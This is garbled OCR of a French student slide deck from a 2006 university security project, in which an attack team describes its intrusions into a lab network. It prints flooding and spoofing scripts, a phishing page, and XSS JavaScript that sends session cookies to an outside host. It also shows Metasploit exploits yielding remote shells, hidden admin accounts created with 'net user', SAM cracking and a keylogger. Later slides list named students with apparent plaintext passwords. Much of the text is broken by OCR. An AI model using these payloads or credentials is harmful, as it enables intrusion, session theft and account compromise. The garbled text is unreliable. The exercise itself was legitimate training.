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Plan

® Introduction
® Organisation / Gestion de projet

® Methodologie des attaques

@ Attaque |

@ Attaque 2
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Introduction

® Mise en application des divers enseigements
® Vision pragmatique de la sécurite
® Travail en équipe

® Gestion de projet
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Organisation




Gestion de projet

® Communication
® Reunions hebdomadaires

® Comptes rendus
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Methodologie




Attaque |
Plan

® Brute Force sur le routeur et DoS sur la sonde

® DoS de la Base de Donneées
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Attaque |

r

> nemesis tcp -D 172.17.0.2 -FD $ip_source -y 12768

\.

X Brutus - AET2 - www.hoobie.net /brutu

Type

Connectionz © ) 10 Timeau T ) 10

® Objectifs:

odify seguence [~ Tiyto stap connected for |Unlimite L] attempks

= jll"|F1r'|H|':.=|H|'|" |_|r|ri|'|r'|:=:

@ Brouiller les logs =i e

® Empeécher la lecture temps reel
du trafic




Attaque |

Safari Archivo Edicion Visualizacion Historial

B O A
G+ 8 htp://172.17.0.2 /test
4 —
[[] Sympa EuroMillions BlackjackStrategyTrainer EBIEM  Apple
_________________ Connexion réussie...Connecté i la base de Candide-SA
DIRB v1.4
Generating Wordlist... | Pages Archivo Edicidn Inserta

Generated Words: 754

y— ! & + P &Y htp://172.17.0.2 /test

---- Scanning URL.:
FOUND: http:/” /72.17.0.2 [I1 Sympa EuroMillions BlackjackStrategyT
(*) DIRECTORY: http://172.17.0.2/images/
ND: http://172.17.0.2/index - CODE: 200
p://172.17.0.2/phpmyadmin/
FOUND: http://172.17.0.2/1

salut les mecs
alors an s'amuse bien

on vous attend !!!!

\_



http://172.17.0.2
http://172.17.0.2
http://172.17.0.2/cgi-bin/
http://172.17.0.2/cgi-bin/
http://172.17.0.2/images/
http://172.17.0.2/images/
http://172.17.0.2/index
http://172.17.0.2/index
http://172.17.0.2/phpmyadmin/
http://172.17.0.2/phpmyadmin/
http://172.17.0.2/phpmyadmin/

Attaque |
Bourrage BDD du livre d’or

CANDIDE SA

=Menu Livre d'or

= Accueil Vous pouvez laisser vos impressions:
= Lasociété

= Livre d'or

= Contact

contact@candide-sa.fr Téléphone: |

Email : |

e =
#! /oin/bash Les derniéres impressions:
i=0 : i
while [ $i -eq 0] feabe
- | wget-N http:/172.17.0.2/livredor.php --post-data et

e e e

| 'nom=test &prenom=test2&tel=test3&email=&remarques=caca&Envoyer=Envoyer’
done


http://172.17.0.2/livredor.php
http://172.17.0.2/livredor.php

Attaque |

Spoofing de la passerelle

while 1
do

nemesis arp -r -S 172.17.0.1 -h 00:11:24:9¢:17:25 -D 172.17.0.2
done

\_

Routage du trafic vers la vraie passerelle

sudo echo 1 > /proc/sys/net/ipv4/ip_forward

Spoofing de la requete DNS

172.17.0.50
172.17.0.50 stri.net

sudo dnsspoof -f hosts -i ethO

\_



http://www.stri.net
http://www.stri.net

Attaque |

2 http:/ /172.17.0.2 [test Intranet STRI

STRI

| Télécoms & Réseaux |

Utilisateur :

Mot de Passe :

Safari Archivo Edicidn Visualizaciédn Historial Favoritos WVentana Ayuda

Etudiants STRI, vous pouvez i e ;
= N - . . **** Fishing stri.net ****

http:/ /www.stri.ups

| (4 + | €3 hep://jordi.g-n.frjtestlUP/intranet/traitement_php.php

[0 Sympa EuroMillions EBlackjackStrategyTrainer BIEM Apple Intranet STRI ForumIUPSTRI AAPL Mailsv Mac Newsv Torrents¥ eBay PocketP

http:/ /172.17.0.2 [test = Fishing stri.net

Nous avons recupere vos identifiants:

Login: test
Password:

Un email nous a ete envoye avec vos identifiants.
Pour toute plainte adressez vous a: m2-stri.attaque_ 1 @ jut-tlsed ir
Bonne journee...

Attaque realisee dans le cadre du projet securite M2 IUP STRI 2006

[TUP Attack Team G1]

Vous allez etre redireges vers le vrai site dans 20 secondes, comme si rien ne s'etait passe...




Recomandantions

® Routeur: Acces en SSH (et non en telnet)
® Routeur:Acces limite au réseau local
@ Sonde: Limiter le nombre de connexions par seconde

® Serveur web: Ne pas oublier des fichiers degest

. BDD Int _ou Blglnt pour les geek (I8xIO _ gntl_*__ée_s) __
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Attaque 2

Plan

® Attaque DOS du service mail

® DoS sur la sonde




Attaque 2

X ¥-Mas 2000 4.0 EzeE 2 UzE

Fie Info Actions ‘War Stuff
¥ X-Mas 2000 4.0 EzeE Z UzE
Fik 1r|f-' Actions  ‘War Stuff

prezidert@ydkehouse. gov

Fad Hacker

rislrateur2candide-sa con 7217.0.2 - A, '« Usze a normal SMTFP server
‘Whanl some candy’? -

M essage I S ethrgs | Copuright |

':"Hu -ﬂlllng:ﬂ: || |-tr_| :-nd_ . " bail Server Into

Hide my ip

v Enable extra headers -Mailer: i-li.-. mzofl 0 j Fake Frﬂm:|

Message-id: | -Priority: 1|—| et | Date: |

Micger s e n k- irr
FETAL VERST Content-Typel charset=is-aci AUIDLE | Recemnwed: |

_annecked *FINAL VERSION*

® Le spam passe bien

® Pas de deni de service



Attaque 2

DOS sur la sonde

® Generation de segments ACK / SYN a la volee

r A
#1/bin/bash
# $1: adresse IP destination
# $2: adresse MAC destination
# $3: port TCP destination

| for ((1=3;1<=250;1++));
do
nemesis tcp -D $1 -fS -M $2 -S 172.17.0.$I -y
$3
nemesis tcp -D $1 -fA-M $2 -S 172.17.0.$I -y

$3

done




Attaque 2

® Generation du javascript d’envoi de PHPSESSID

-

xhr_object.open("GET", " "+LireCookie('PHPSESSID')
+"&c="+location.hostname+location.pathname+"lI"+location.href, true);
xhr_object.send(null);

\_

® Rejouer la session

3 Live HTTP Replay

GET w | Bkt fveeew labulle . net Tlogin=1
En-tétes HTTP

Huosk: v, labulle, et

Lser-Agent: Mozilla/s.0 (Windows; U; SWindows NT 5.2; Fr; rvi1.8.1) Gecko/20061010 Firefox)2.0

Accept: textlwml, application)«<ml, application; <htmml+:cml, textihbml;g=0.9, textfplain;q=0.8,imagefpng, **;9=0.5
Accept-Language: fr,fr-fFr;g=0.8,2n-us;q=0.5,en;q0=0.3

Accept-Er I'I'II'"FII:II qzip, deflate

Accept-Charset; 150-8359-1, utf-5;0=0.7,%,0=0.7
Keep-Alive: 300

i—_onneckion: keep-aive

Referer: Btbp: v labulle, et |

Cookie; PHPSESSID=e5179167112d992e164051 eal 1 2cffaa



http://www.labulle.net/c.php?s=
http://www.labulle.net/c.php?s=

Attaque 2

XSS - Preparation metasploit

® Injection du code javascript dans le livre d’or

4 R
<script>
window.location="http://jordix.com/attack/;
</script>

\ Y,

® La page niip/jordix.com/attack/ contient le code suivant:

-
<script> W
window.location="n{tp://172.16.48.14/;
| <script> IP locale du serveur metasploit

[ Attack Team ]

Ce site a été piraté, heureusement qu'il s'agit de "CANDIDE SA N°1 des sous traitants de 1'aéronautique !!!"


http://jordix.com/attack/'
http://jordix.com/attack/'
http://jordix.com/attack/'
http://jordix.com/attack/'
http://172.16.48.14/'
http://172.16.48.14/'

Attaque 2

® Configuration de I'exploit VML de IE
4

.

msf ie_vml_rectfill(win32_reverse) > set HTTPHOST 172.16.48.14
msf ie_vml_rectfill(win32_reverse) > set HTTPPORT 80

msf ie_vml_rectfill(win32_reverse) > set LHOST 172.16.48.14

msf ie_vml_rectfill(win32_reverse) > set LPORT 443

® Lancement de 'exploit VML de |E

e

\_

msf ie_vml_rectfill(win32_reverse) > exploit
*] Starting Reverse Handler.
*] Waiting for connections to /

*] Client connected from 172.17.0.2:1176...

*] Got connection from 172.16.48.14:443 <-> 172.17.0.2:1177

Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\vince\Bureau>

19



http://172.16.48.14:80
http://172.16.48.14:80

Attaq UcC 2Metasp|oit -VML

® lentatives sur le shell obtenu

4 N
C:\Documents and Settings\vince\Bureau>ipconfig

Configuration IP de Windows
Carte Ethernet Connexion au réseau local:

Suffixe DNS propre a la connexion : candide-sa

Adresse IP............:10.20.20.5
Masque de sous-réseau . . . ... :255.255.255.0
Passerelle par défaut .. ....:10.20.20.1

C:\Documents and Settings\vince\Bureau>shutdown -s -m \\10.20.20.2 -t O
shutdown -s -m \\10.20.20.2 -t O
Opration russie.

Le client ne dispose pas d'un privilge ncessaire.




Recomandantions

® Serveur mail: Filtrage antispam...
® SMTP: Refus de plus de n mails/minute/@IP

@ Sonde: Limiter le nombre de connexions par seconde

T, ) Serveur web Encodage HTML des donnees postees i
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Attaque 3

Plan

® Préeparation (DCOM & SAM)

® Les astreintes

® Le routeur
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Attaque 3

Preparation: DCOM

® Configuration de I'exploit DCOM RPC

4 )
< metasploit >

""" v
\ (00)___

() N\
111 *

+ -- --=[ msfconsole v2.6 [156 exploits - 76 payloads]

msf > use msrpc_dcom_ms03_026

- | msf msrpc_dcom_ms03_026 > set PAYLOAD win32_bind
- | PAYLOAD -> win32_bind

msf msrpc_dcom_ms03_026 > set RHOST 10.20.20.4
RHOST -> 10.20.20.4

msf msrpc_dcom_ms03_026(win32_bind) > exploit

[*] Starting Bind Handler.

Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C\Windows\SYSTEM>



Attaque 3

Preparation: DCOM

® Utilisations sur le shell obtenu: .
Ajout de comptes

- cachés en

C:\Windows\SYSTEMs net user ASPNET bigbig31 /ADD prevision des
net user ASPNET bigbig31 /ADD ghosts ...
La commande s'est termine correctement.

C:\Windows\SYSTEM> net localgroup Administrateurs ASPNET /
ADD

net localgroup Administrateurs ASPNET /ADD

La commande s'est termine correctement.

E o ol = . P T e S A e e R o e = e r i, - o - 5 Ay B (S Lk -
’ i 2 P i SR R N R e o E i et SR T O D R A e A R B it O
phoa?, st ol S B i e e e A DL O ey N : = LeR ] )
A A L ool oy £ P e = b L e e e e E T e

Dok
SRR T ¢ Rt LA L
i o G Dt L e

C:\Windows\SYSTEM32\config\sam
C:\Windows\SYSTEM32\config\security

C:\Windows\SYSTEM32\config\system
etc..



Attaque 3

® Decryptage des mdp de la SAM avec les rainbow tables:

Add NT Hashes from

T Impart Hashes from local spstem
=

~ Irport Hashes from a test file

= Configure  Toolks Help
i Import Hashes from a S4M databaze

AM Finame 1 ) @ g B B ymMmErE~FIED D .
:- = H F |l_:I K2 1
IR .

aff Cracket

R e nah | [ e e

Hook H.Ellrl H E'l
anllSlebbBbal 3237 a9 a7 |-1-|.-,,-|||l_:1
2O4CFDATGEE,..  1D6ADIZD30S. .. LM i NTLM

Carncel [ Rl K] IEDOSSO025E, .,  E1462AT08EEE,, LM & NTLM

= i rache—l IS LM & NTLM Hashes

Fikbp: [ fanm il il

25



Attaque 3

® Oups! 7 : Routeur HS d’apres nos tests

® | 9h00: Appel d’'urgence numero d’astreinte

Intervention sur site de 'agent Fred sous contrat 24/7

® Agent de liaison sur site pour operations de
maintenance (relai GSM via Breizh Telecom)

26



Attaque 3

® Redemarrage du routeur par notre agent de
liaison

® Prise de controle a distance et detournement
par notre responsable reseau

® Ouverture des ports pour acces direct a
intranet

@ Suppression des access list

® Remise en etat

27
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FACIAL
EXT:172.17.0.2
LAN SERVICE: 10.1

Client Nomade
Acces VPN

FAUX RESEAU
PUBLIC

FACIAL: Routeur CISCO
TITAN : Serveur OPENVPN
DYONISOS : Serveur Web
at DNS
IRIS : Machine crilique
HADES : Active directory
ARES: XPPRO+5P2

. ERA: XPPRO

"

: - ' ARES ERA
TITA DYONISOS IRIS SONDE AUDIT 10.20.20.2 10.20.20.3 10.20.20.4
10.10.10.2 10.10.10.3 10.10.10.4 10.10.10.5



Attaque 3

Les clients

® Conflit d’adresses IP

» Reconfiguration du serveur DHCP
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FACIAL
EXT:172.17.0.2
LAN SERVICE: 10.1

Client Nomade
Acces VPN

FAUX RESEAU
PUBLIC

FACIAL: Routeur CISCO
TITAN : Serveur OPENVPN
DYONISOS : Serveur Web
at DNS
IRIS : Machine crilique
HADES : Active directory
ARES: XPPRO+5P2

. ERA: XPPRO

"

TITA DYONISOS IRIS SONDE AUDIT 10.20.20.2 10.20.20.3 10.20.20.4
10.10.10.2 10.10.10.3 10.10.10.4 10.10.10.5



Attaque 3

Les serveurs

® Windows 2003 Ades
@ Modification des mots de passe

@ Suppression de comptes

@ Modification de 'AD

@ Debian Dyonisos

o A et P AR i
FEH | '_r_,':_._l L] PSS SN [FIRE Rk da
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FACIAL
EXT:172.17.0.2
LAN SERVICE: 10.1

Client Nomade
Acces VPN

FAUX RESEAU
PUBLIC

FACIAL: Routeur CISCO
TITAN : Serveur OPENVPN
DYONISOS : Serveur Web
at DNS
IRIS : Machine crilique
HADES : Active directory
ARES: XPPRO+5P2

. ERA: XPPRO

"

DYONISOS IRIS SONDE AUDIT 10.20.20.2 10.20.20.3 10.20.20.4
10.10.10.2 10.10.10.3 10.10.10.4 10.10.10.5



Attaque 3

La sonde

@ Et apres avoir pris le contréle de toutes les machines, quoi?

» e Utilisation du certificat SCP pour:

@ Recupération de fichiers importants sur la sonde
(system, configuration etc..)
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FACIAL
EXT:172.17.0.2
LAN SERVICE: 10.1

Client Nomade
Acces VPN

FAUX RESEAU
PUBLIC

FACIAL: Routeur CISCO
TITAN : Serveur OPENVPN
DYONISOS : Serveur Web
at DNS
IRIS : Machine crilique
HADES : Active directory
ARES: XPPRO+5P2

. ERA: XPPRO

"

| 3
'y

N ‘r
HADES ARES ERA
10.20.20.2 10.20.20.3 10.20.20.4

B

TITA DYONIS0OS I
10.10.10.2 10.10.10.3 10.10)

SONDE AUC
10.10.10.5



Attaque 3

Le death script!

On ne reste pas reveille jusqu’a 3h du matin pour rien
donc....
On se le refait pour les absents?




Le betisier et les phrases cultes

“ Toute violation de ces regles entrainera I'exclusion du
groupe et Mr Latu sera tenu au courant de vos fautes
professionelles” (Defense)

Mmm.. des tétes vont tomber

“ Oups: J'espere gue personne ne s'était laissé du
boulot pour ce soir!! * (F.P)

T’inquietes, I'agent Fred est la pour le routeur!

“ Merci pour ces consells qui arrivent un peu tard,
non???” (Défense: Equipe service)

“ Des solutions pour éviter un éventuel pourrissage de logs
par I'equipe attaque sont a rechercher “ (J.R)

“ Apres |'attague n°2: Nous n'avons pas eu
d’interprétation ni de conseils provenant de l'audit a
ce sujet” (Défense: Equipe service)



Le betisier et les phrases cultes

“ En ce qui concerne le routeur Cisco : Les attaguants ont pu
réecupérer les mots de passe lors des sessions précedentes,
grace aux connexions telnet initiees depuis l'extérieur du
réseau de candide SA.” (J.R)

Mmmm.. ’'abus de drogues est dangereux pour la sante

“URGENT! L'equipe attaque a mis en place des
keyloggers...” (J.R)

“Snort a repére des tentatives d'exploitation de vulnérabilités
SSH et des tentatives d'envol de traps SNMP” (J.R)

Oui bien sur, tout comme les radiations magnetiques des
ecrans CRT et les prises vampires

37



...... €t ce que vous attendiez!

“Tous les comptes rendus ne doivent en aucun cas se trouver
a portee des groupes audit et attaque” (Défense)

@ Cible: mailing list

® Analyse de la syntaxe du mdp
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La liste

Comptes winoows

BEAUGEANDRE Philipe: eheles6&
BERGE Romain: aeklxcgb&
COTTIN Guillaume: igylav3&
DANG Emanuelle: iduwew I *
DJOUAI Lilias: ajetag8$%
FAURE Patrice: obimyk9$
FESANTIEU Jean charles: akivyfo$
FOSSEN Cecile: ifyeig8$
JEAN MARIUS Youri: ifuvosé6$
LARRIBAU Vincent: ylesesé!
LEVY Olivier: oujobiz4*
PEYRONNET Fabien: okofyz9%
SEGUES Jordi: obigax3$

39



La methodologie

Comptes windows

BEAUGEANDRE Philipe: eheleseg
BERGE Romain: aeklxecges
COTTIN Guillaume: igylavag
DANG Emanwelle: Lduwewt*
DJOUAL Lilias: ajetagR
FAURE Patrice: obimyko$
FESANTIEU Jean charles: akivyfos
FOSSEN Cecile: ifyeiges$

JEAN MARIUS Youri: ifuvoses$
LARRIBAU Vincent: Ylesese!
LEVY Olivier: oujobiz4*
PEYRONNET Fabien: okofyz9o+$
SEGQUES Jordi: obigaxz4

User name: jauen

Ea::::l..'.,ujr'lj: SRR EES

Cpkions =

BZ-vOUS au service Smaj M ot de
i passe pré-
enregistre

Compte Coogle

Mom d'utilisateur: ledouard.jouen

« Retour a Résultats de recherche Signaler comme spam | Supprimer | Autres actions... MErnoriser mes

informations sur cet
Rappel de votre abonnement a m2-stri.analyse_1 Frojet sécurite ordinateur.
sympa@iut-tised.fr & moi Connexian
Vous étes abonné a la liste odeatt analyse 1@iut-tlsed.fr avec 'adr

lmpozzible d'accéder & mon comgpte

Votre mot de pas:

Four tout savoeir sur cette 1S
Four vous désabonner :
mailto:sympai@iut-tise3.fr’subject=sig%20m2-stri.analyse 1%20
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BEAUGEANDRE Philipe: eheleses
BERGE Romailn: aeklxeges
COTTIN Guillaume: igylavag

DPANG Emanuelle: Lduwew*
DJOUAL Lilias: ajetagR%
FAURE Patrice: obimykI$
LEVY Olivier: owjobiz4*
PEYRONNET Fabien: okofyz9o$
SEGUES Jordi: obigaxz$

Mom 4

__limages

iFIIjE!::-::,phF. 1 fesl,

livredor, |:||'||:| i

"""" =.php II T _|_‘_"

gFLesl, e |'I

(=1

Oh! c’est le méme mot
de passe que Dyonisos

‘php

L=

I'|||' 1

La methodologie

=2l Name: jouen

Password: [IITTIYTY]

et Titan

= rn-,--ql |:|:|r|r|E-|:’r| ||:||:E||l'||:|_‘t" "root

F= Filezilla - Conne
Eichier

Edition  Transp

ASCH miode data connection far file list

nplete.

"ENVIVESEE3CUE™)
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La methodologie

mz2-stri.defense_1@iut-tlse3.fr
Etudiants M2 S5TRI - Groupe Defense n'1

Dossier parent |[ Mode utilisateur ][ Vode copert |

Contenu du dossier Session2k6/Rapports_travaux_realises
)

A e L - et telnet ont été sécurisés.

Taille (Ko

Philippe BEAUGENDRE Guillaume COTTIN
nmanuelle DANG llicas DJOUAI
2cile FOSSEN Yourl JEAN MARIUS
wcent LARRIBAU Fablen PEYROMNNET

Enter the Cisco Encrypted Fassword:
U220Z2B7FZ2BO0ZF 22449

The decrypter

FOD@f @ e

et
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La methodologie

Keylogger

B Hide X Clearallogs  |[/] Reistration (g)) Help [}‘ E wit
e R R e e e

Keystrokes (D) | screemshots (0) | Apphcations {(0) | Clipboard (@) | Printer (0) | Fles (0) | Computer (0)
pp ] i | (] | ]

Tirwe wiridowe Caption Apolcation Patn Lizername

Attention!

Password enable:

Enker registration code... Buy now _: : _: ._ . | _I | fod@F@CE

[ Showe characters anly
* Befre |

Skabus: stopoed Total records: O Text logs size; 0,00 Bytes
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Social Engineering

® Tout le long du projet: priorite au Social Engineering
@ Politique de silence

® Maitrise de 'information et la desinformation
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Vos points positifs

Equipe déefense

@ Politique de segmentation des information inter-équipes:
® Mdp non integrés aux documents

® Seules les informations essentielles sont echangees
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Conclusion

® Social engineering face a la technique
® EXxces de confiance néfaste face a I'efficacité

® Faussé entre la théorie et la pratique

® Fausse image de l’activite de hacking
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... pour le plaisir
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Des questions ?




